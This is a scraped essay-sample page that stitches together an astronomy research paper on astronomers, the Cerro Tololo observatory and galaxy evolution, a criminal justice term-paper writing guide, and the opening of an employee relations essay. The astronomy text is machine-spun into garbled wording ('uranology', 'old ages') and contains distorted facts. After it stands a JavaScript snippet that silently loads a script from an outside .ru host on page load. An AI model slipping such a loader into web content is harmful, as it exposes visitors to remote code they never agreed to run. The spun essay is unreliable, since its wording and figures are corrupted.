Astronomers Essay Research Paper Part OneBrief Descriptions free essay sample

Astronomers Essay, Research Paper Part One Brief Descriptions of the Following Astronomers: Walter Baade: Baade was a German-born American, whose work gave new estimations for the age and size of the existence. During the wartime, blackouts aided his observatons and allowed him to indentify and classify stars in a new and utile manner, and led him to increase and better Hubble # 8217 ; s values for the size and age of the existence ( to the great alleviation of geologists. ) He besides worked on supernovae and radiostars. Milton Humason: Humason was a co-worker of Edwin Hubble # 8217 ; s at Mt. Wilson and Palomar Mtn. who was instrumental in mensurating swoon galaxy spectra supplying grounds for the enlargement of the existence. Jan Oort: In 1927, this Dutch uranologist proved by observation ( in the Leiden observatory ) that our galaxy is revolving, and calculated the sirance of the Sun from the Centre of the galaxy and the period of its orbit. In 1950 he sugested the exsistence of a domain of incipent cometic stuff environing the solar system, which is now called the # 8216 ; Oort cloud. # 8217 ; He proposed that comets detached themsleves from this # 8216 ; Oort- cloud # 8217 ; and went into orbit around the Sun. From 1940 onwards he carried out noteworthy work in wireless uranology. Harlow Shapley: Shapley deduced that the Sun lies near the cardinal plane of the Galaxy some 30,000 light- old ages off from the Centre. In 1911 Shapley, working with consequences given by Henry N. Russell, began happening the dimensions of stars in a figure of binary systems from measurings of their light fluctuation when they eclipse one another. These methods remained the standard process for more than 30 old ages. Shapley besides showed that Cepheid variables can non be star braces that eclipse each other. He was the first to suggest that they are throbing stars. In the Mount Wilson Observatory, Pasadena Calif. , in 1914, he made a survey of the distribution of the ball-shaped bunchs in the Galaxy ; these bunchs are huge, dumbly packed groups of stars, some incorporating every bit many as 1,000,000 members. He found that of the 100 bunchs known at the clip, one-third ballad within the boundary of the configuration Sagittarius. Using the freshly developed construct that variable stars accurately reveal their distance by their period of fluctuation and evident brightness, he found that the bunchs were distributed approximately in a sphere whose centre ballad in Sagittarius. Since the bunchs assumed a spherical agreement, it was logical to reason that they would constellate around the Centre of the Galaxy ; from this decision and his other distance informations Shapley deduced that the Sun lies at a distance of 50,000 light years from the Centre of the Galaxy ; the figure was subsequently corrected to 30,000 light years. Before Shapley, the Sun was believed to lie Ne! ar the Centre of the Galaxy. His work, which led to the first realistic estimation for the existent size of the Galaxy, therefore was a milepost in galactic uranology. Allan Sandage: Sandage ( U.S ) discovered the first quasi-stellar wireless beginning ( quasi-stellar radio source ) , a starlike object that is a strong emitter of wireless moving ridges. He made the find in coaction with the U.S. wireless uranologist Thomas A. Matthews. Sandage became a member of the staff of the Hale Observatories ( now the Mount Wilson and Palomar Observatories ) , in California, in 1952 and carried out most of his probes at that place. Prosecuting the theoretical work of several uranologists on the development of stars, Sandage, with Harold L. Johnson, demonstrated in the early fiftiess that the ascertained features of the visible radiation and coloring material of the brightest stars in assorted ball-shaped bunchs indicate that the bunchs can be arranged in order harmonizing to their age. This information provided penetration into leading development and galactic construction. Subsequently, Sandage became a leader in the survey of quasi-stellar wireless beginnings, comparing accurate places of wireless beginnings with photographic sky maps and so utilizing a big optical telescope to happen a ocular starlike beginning at the point where the strong wireless moving ridges are being emitted. Sandage and Matthews identified the first of many such objects Sandage subsequently discovered that some of the remote, starlike objects with similar features are non radio beginnings. He besides found that the visible radiation from a figure of the beginnings varies quickly and irregularly in strength. Part Two Cerro Tololo Interamerican Observatory Cerro Tololo is a mountatin extremum in the nothern scope of the Andes in South America. At the acme, 7,200 ft. above sea degree, the US has built on of the universe # 8217 ; s foremost astronomical observatories. This is called the Cerro Tololo Interamerican Observatory or CTIO. It was founded in 1965 in Chile as the southern subdivision of the Kitt Peak National Observatory. It is located about 285 stat mis north of Santiago and 50 stat mis inland from the coastal metropolis of La Serena. The European Southern Observatory and the Carnegie Institution of Washington besides operate major astronomical observatories nearby. It # 8217 ; s co-ordinates are: W 70d48m52.7s S 30d09m55.5s CTIO # 8217 ; s installations are available for usage for sanctioned undertakings by all qualified uranologists in the western hemisphere. CTIO is operated by the Association of Universities for Research in Astronomy Inc. ( AURA ) , under a concerted understanding with the National Science Foundation as portion of the National Optical Astronomy Observatories, which besides operates Kitt Peak National Observatory in Tucson Arizona and is the operating bureau for the US part of the International Gemini Project. The CTIO houses several telescopes and subsidiary instruments, the most important of which is a / gt ; reflecting telescope with a 4-metre mirror. On site are six optical telescopes, and one wireless telescope: 4.0 Meter Blanco Telescope. 1.5 Meter Ritchey-Chretien Telescope. Yale 1.0 Meter Ritchey-Chretien Telescope f/10 ( 19.5 arcsec/mm ) . 0.9 Meter Telescope f/13.5 ( 16.5 arcsec/mm ) . Curtis/Schmidt Telescope ( 0.6/0.9 Meter ) f/3.5 ( 96.6 arcsec/mm ) . Lowell ( 0.6m ) Telescope f/13.5, f/75 ( 25.0, 4.5 arcsec/mm ) 1.2m Radio Telescope ( SCMT, Universidad de Chile ) . The observatory is best noted for its research on the cardinal part of the Milky Way Galaxy, the Magellanic Clouds, and high-energy cosmic wireless and X-ray beginnings. Part Three How Galaxies Evolve: The survey of the beginning and development of galaxies has merely merely begun. In the yesteryear at that place has non been much informations to work with, and many theoretical accounts of galaxy formation and development have been constructed on the footing of givens about conditions in the early existence, which are in bend based on theoretical accounts of the enlargement of the Cosmos after the # 8220 ; large knock # 8221 ; # 8211 ; the detonation from which the Universe is thought to hold originated. Predominating theory has it that at important points in clip there condensed from the spread outing affair smaller clouds ( protogalaxies ) that could fall in under their ain gravitative field and finally form galaxies. At the clip when the mass of such a stable disturbance in the cloud was about 10 solar multitudes, the galaxies formed. It is still non known whether the bunchs of galaxies emerged foremost or whether they resulted as accretions of already formed galaxies. Following the separation of mass into single galaxies, the following measure likely depe! nded on the features of the peculiar bunch of affair involved, particularly on its mass and angular impulse. The latter measure was the most likely determiner of the signifier of the galaxy that finally evolved. It is thought that a protogalaxy with a big sum of angular impulse tended to organize a level, quickly revolving system ( a spiral galaxy ) , whereas one with really small angular impulse developed into a more about spherical system ( an egg-shaped galaxy. ) Calculations show that a galaxy really bit by bit becomes dimmer and redder as clip advancements and its constitutional stars evolve. There is some grounds from really distant galaxies # 8211 ; those whose visible radiation was emitted one million millions of old ages ago when they were younger # 8211 ; that the effects of this sort of slow development can really be seen. Separate Four Three Great Scientists Of The Past ( In My Opinion ) Based on my readings I believe that the undermentioned scientist have all made valuable parts to astronomy: Mikolaj kopernik Galileo Kepler Here are some brief descriptions of their contributon to the apprehension of uranology: Copernicus ( 1473-1543 ) : Nicolas Copernicus is frequently considered the laminitis of modern uranology. His survey led to his theory that the Earth rotates on its axis and that the Earth and the planets revolve around the Sun. The Copernican theory was contrary to the Ptolemaic theory so by and large accepted. In 1530 he finished his great book, # 8216 ; Refering the Revolutions of the Celestial Spheres # 8217 ; . His theory was in resistance to the instructions of the Roman Catholic church, and the book was non published for 13 old ages. Copernicus seemingly received the first transcript as he was deceasing, on May 24, 1543. The book opened the manner to a truly scientific attack to astronomy. Such work forces as Galileo and Kepler were deeply influenced by it. Galilieo ( 1564-1642 ) : Modern natural philosophies owes its beginning to Galileo, who was the first uranologist to utilize a telescope. By detecting four orbiters of the planet Jupiter, he gave ocular grounds that supported the Copernican theory. Galileo therefore helped confute much of the medieval thought in scientific discipline. In 1583 Galileo discovered the jurisprudence of the pendulum by watching a pendant swing in the cathedral at Pisa. He timed it with his pulsation and found that, whether it swung in a broad or a narrow discharge, it ever took the same clip to finish an oscillation. He therefore gave society the first dependable agencies of maintaining clip. In approximately 1609, after word from Holland of Hans Lippershey # 8217 ; s freshly invented telescope reached him, he built his ain version of the instrument. He developed amplifying power until on Jan. 7, 1610, he saw four orbiters of Jupiter. He besides saw the mountains and craters on the Moon and found the Milky Way to be a heavy aggregation of stars. Kepler ( 1571-1630 ) : This Renaissance uranologist and astrologist is best known for his find that the orbits in which the Earth and the other planets of the solar system travel around the Sun are egg-shaped, or ellipse, in form. He was besides the first to explicate right how human existences see and to show what happens to visible radiation when it enters a telescope. In add-on, he designed an instrument that serves as the footing of the modern refractile telescope. Kepler # 8217 ; s great work on planetal gesture is summed up in three rules, which have become known as # 8220 ; Kepler # 8217 ; s Torahs # 8221 ; : ( 1 ) The way of every planet in its gesture about the Sun forms an oval, with the Sun at one focal point. ( 2 ) The velocity of a planet in its orbit varies so that a line fall ining it with the Sun expanse over equal countries in equal times. ( 3 ) The squares of the planets # 8217 ; periods of revolution are relative to the regular hexahedrons of the planets # 8217 ; average distances from the Sun. These Torahs removed all uncertainty that the Earth and planets travel around the Sun. Later Sir Isaac Newton used Kepler # 8217 ; s Torahs to set up his jurisprudence of cosmopolitan gravity. 31e ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Criminal Justice Term Paper Writing Guide for Troubled Students

Criminal Justice Term Paper Writing Guide for Troubled Students Criminal justice is one of the most popular disciplines in colleges. The enrolment rates in criminal justice keep on increasing each year. Many students enroll in criminal justice studies to find the knowledge and expertise that can help resolve societal problems such as crime. Ensuring justice is among the greatest objectives of most students who study criminal justice. The criminal justice concept is a phrase used to describe the interdependent system including the police service, courts, and the correctional facilities within a given government. Students who study criminal justice end up working either of the outlined systems. The law-making system should be added as a fourth component of the criminal justice system. The author explains that every activity that is carried out by the three interdependent components is based on the legal structure that is in place. It is important to point out that the issue of whether the legislative arm of the government is under the criminal justice system remains debatable. Nonetheless, students who study criminal justice must successfully complete their term papers before earning their degrees. This guide on how to write a criminal justice term paper will answer all the questions such students might have. The Importance of Criminal Justice Term Papers Helps Develop Positive Logical Arguments Term papers are important for criminal justice students because of several reasons. First, it is considered as an evaluation criterion that the instructor uses to determine whether the learners have mastered the taught concepts. The instructor may want to know whether the knowledge they have imparted on the students has been of any help. Another reason why your professor is likely to assign you a criminal justice term paper is that they want to test your ability to develop a logical argument. Different criminal justice cases come with diverse issues that require logical reasoning and impeccable critical thinking and decision-making skills. The term papers provide you with a chance to show your professor that you have the ability to reason out and find the best alternative that can resolve a critical situation. You must use thoughts and logic to critique a criminal justice case and determine the best way forward. You need to have skills that can allow you to successfully argue against or defend a party in the courtroom. Term papers provide you with the ability to build on logical arguments. Positive Communication Skills Second, a criminology term paper is helpful because it enhances your communication skills. You should not be in the criminal justice system if you do not like to communicate with people. The term papers that you write help in sharpening your communication skills. You are required to constantly update your boss or client on the development on a case you may be handling. This becomes very difficult if you lack the necessary skills and knowledge of communication. Your term paper will help your instructor to identify your communication challenges and accordingly address them. Most instructors often write comments on the submitted term papers to help guide the students on revisions. You can be sure that by the term paper help in improving your communication skills. Exploring Own Thoughts and Ideas Tem papers provide you with a chance to explore your thoughts and challenge your misconceived ideas on issues such as racial profiling in the police service, privacy versus individual rights among others. Criminal justice instructors often try to bring critical and debatable topics to elicit reactions of the students. Your reaction to a topic is needed not only for examination purposes but also to help create an effective intervention to a problem. Your thoughts and feelings are built during the writing process. It is important to note that you may also discover things you may not have known during the writing process. Impeccable Writing Skills Besides positive communication, term papers also help develop impeccable writers. You learn to be more precise and accurate in your writing. As noted, term papers often have page or word limit. You must be able to compress your ideas and thoughts in the stated pages or word counts. In practice, you must be able to present your ideas in a concise manner that allows the audience to positively relate your points to the case you could be handling. Writing term papers in criminal justice studies is an art that requires constant practice. The term papers can help you understand what to say, the most appropriate words and structuring of phrases. Concisely, it helps in improving individual writing skills and the ability to communicate in a busy business environment. What You Need To Know Before Writing A Criminology Term Paper: Hot Picks from Our Writers Understanding the ethical and legal issues that surround critical decisions is very important in this profession. Contrary to what most students think, criminal justice is not a â€Å"YES† or â€Å"NO’ profession. It allows a student to think and develop own perspectives on different societal issues. As a student in this line of profession, you should identify and appreciate different issues that affect the well-being of humans in the society. For instance, protecting the environment is a significant issue in criminal justice. You may need to write a term paper to defend a perspective on environmental protection. When writing such a paper, you must show your commitment to the position you have taken by providing relevant examples and evidence. You need to understand that your lecturer is testing a lot more than the concepts they taught in class. Choosing a topic may be a big problem to a student writing a criminal justice term paper. The instructor may decide to choose a topic on behalf of the student. In case the topic is not chosen, you may need to explore the research problem and develop your own. Some of the common topics in criminal justice term papers include: Environmental protection; Racial profiling in criminal justice system; Police brutality; Equality and social justice; Death penalty; Public protection versus individual rights. Pre-Writing Techniques It is important to understand the subject matter before deciding on the artistic styles to apply in a paper. The instructor may be testing your ability o interpret the theoretical concepts that were taught. As a student, they need you to think beyond the theories they explained in the class. To record positive performances, you must indicate that you understand and appreciate the legal and ethical issues that are encountered in criminal justice. Here is the step-by-step guide that you need to follow to get the best out of a criminology term paper. First, you understand that the assessments you handle in criminal justice are meant to help you rehearse and store the information you learnt during the lectures. Second, you must recognize the fact that criminology term papers require many preparations. You need to understand what your professor needs. The grading criteria changes from one institution to another. The most important thing is to understand what the instructor needs and respond accordingly. The grading criterion is the same in almost every criminal justice term paper. Plagiarism is one of the most important aspects that every criminal justice instructor takes very seriously. Plagiarism is stealing another person’s work and passing him or her off as your own. You will not receive any point if you steal another person’s work. Another important area that is often considered when establishing the grading policy in most criminal justice term papers is the literature review. This part requires you to explore previous literature and effectively relate them to the topic that you are discussing. It is important to understand what the lecturer may be looking for in the literature review section before you begin writing. Literature review requires a comprehensive research. Depth and comprehensiveness are some of the components that are assessed in the literature review. You must show the examiner that you used a sufficient number of credible sources to explore the topic. In addition, the examiner is looking for whether you used credible scholarly sources. It is important to point out that not every criminal justice term paper will require conducting a literature review. You may not be asked to complete a literature review in argumentative papers. Nonetheless, you need to understand that the scholarly articles you use to support your arguments are relevant and credible. The analysis is another essential component of criminal justice term papers. Virtually every term paper requires students to show their analytical skills. You are required to interpret and adequately describe the major themes and findings. The instructor wants to know whether you have understood the issues that surround the topic. You can best do this by critically examining the subject matter. The instructor is also interested in the quality of criticism. You need to thoroughly examine the weaknesses and strengths of every argument that you put across. Most importantly, you need to present solutions in the analysis portion. It is imperative to present the best alternative that can be used to solve the problem you have identified. Formatting a Criminal Justice Term Paper Overview The general format used in criminal justice term papers are the same. You must begin with the introduction before moving to the main body. The conclusion is the final part and it involves a concise summary of the points you have discussed in the main body. It is important to point out that some term papers may require students to go directly to the discussion without including the introduction or the conclusion. It is important to double check the instructions to understand the format. The three parts, introduction main body and conclusion, are discussed in details in (Criminal Justice Term Paper 2). Introduction This is a very important part of a criminal justice term paper. It helps the writer to explore the overall background of the research problem, the extent to which it affects a given population and some past attempts to resolve it. The introduction orients the reader to the whole issue that is to be discussed.   It is important for the writer to grab the attention of the reader at the introduction. This can be done by stating startling facts or statistics that relate to the topic under discussion. Example: Did you know that murder rate in the United States has been increasing by over 3% each year for the last ten years? Main Body The main body is the heart of your term paper. Remember you examiner want to understand whether you have understood the concepts and issues that relate to your topic. First, you must be articulate when present your arguments in the main body. The intention is to synthesize the issue and ultimately suggests a solution.   You should consider the following when writing the main body of your criminal justice term paper: Begin every paragraph by writing a relevant topic sentence. The topic sentence should summarize the main argument in that particular paragraph. Be logical in your arguments Support your arguments using practical examples Use transition words when moving from one paragraph to the other. The main body may be structured in the following way: Argument/Claim: You should begin by stating your argument in the topic sentence. Analysis: Assess each piece of your argument using evidence from different scholarly works. You also need practical examples to support your claims. Opposing Argument: It is important to point out some of the perspectives that argue against your position. Solution: Try to present a reasonable solution that can be used to solve the problem. Conclusion As previously mentioned the conclusion part is where you summarize your arguments and restate your thesis. You need to indicate whether the hypothesis you had in the introduction has been proved or disapproved. Post-Writing Criminal Justice Term Paper Tips A number of considerations should be made once you have written your criminal justice term paper. It is likely that you will be tired after the writing process. You need to take about one hour away from the computer after you are done writing. This break should help your brain to refresh. The job is not done if you have not proofread your paper to ensure that you have written exactly what you needed. The following criminal justice term paper tips prompts can help improve the quality of your term paper: Take a break of at least one hour after completing the term paper. You may divide proofreading for several sessions. For instance, you begin by proofreading introduction part before moving to the main body. Ask a friend, family member or mentor to review your paper before you submit it. You may need a ‘third eye’ to help check your paper for any error.

Employee relations Essay Example | Topics and Well Written Essays - 3000 words - 3

Employee relations - Essay Example It also helps in identifying and assessing the various levels of employment and help define the nature and scope of relationship between the employees and employers; the social and moral values upheld by the societies; and provide guidance with regard to approaching and addressing employee disputes and grievances within and across industries. The fact that laws and regulations governing employment are implemented as a reaction to the existing social and moral values as well as the existing social, cultural, political, economic, and technological circumstances existing within a given community, state or nation. The study of employee relations hence helps in understanding and exploring the concept in a comprehensive manner and provides an insight into the factors that shape our views towards employment, employee relations, and work in general. This essay aims to explore the concept of employee relations with regard to local, national and international contexts; and the factors that influence the existing norms and in the process provide a meaningful discussion regarding the historical origins, definitions, and theoretical perspectives aided by relevant case studies to help support and substantiate the claims made. The concept of employee relations was introduced as a replacement to the term industrial relations (CIPD, 2013). Industrial relations refer to the relationship between employers and employees within an industry. Employee relations on the other hand cover a broader spectrum of this relationship and include the relationship between employers and trade unions, other representatives of the employees, as well as officials (Armstrong, 2010). Rose (2008) defines employment relations as: "The study of the regulation of the employment relationship between employer and employee, both collectively and individually, and the determination of both substantive and procedural issues at industrial, organisational and workplace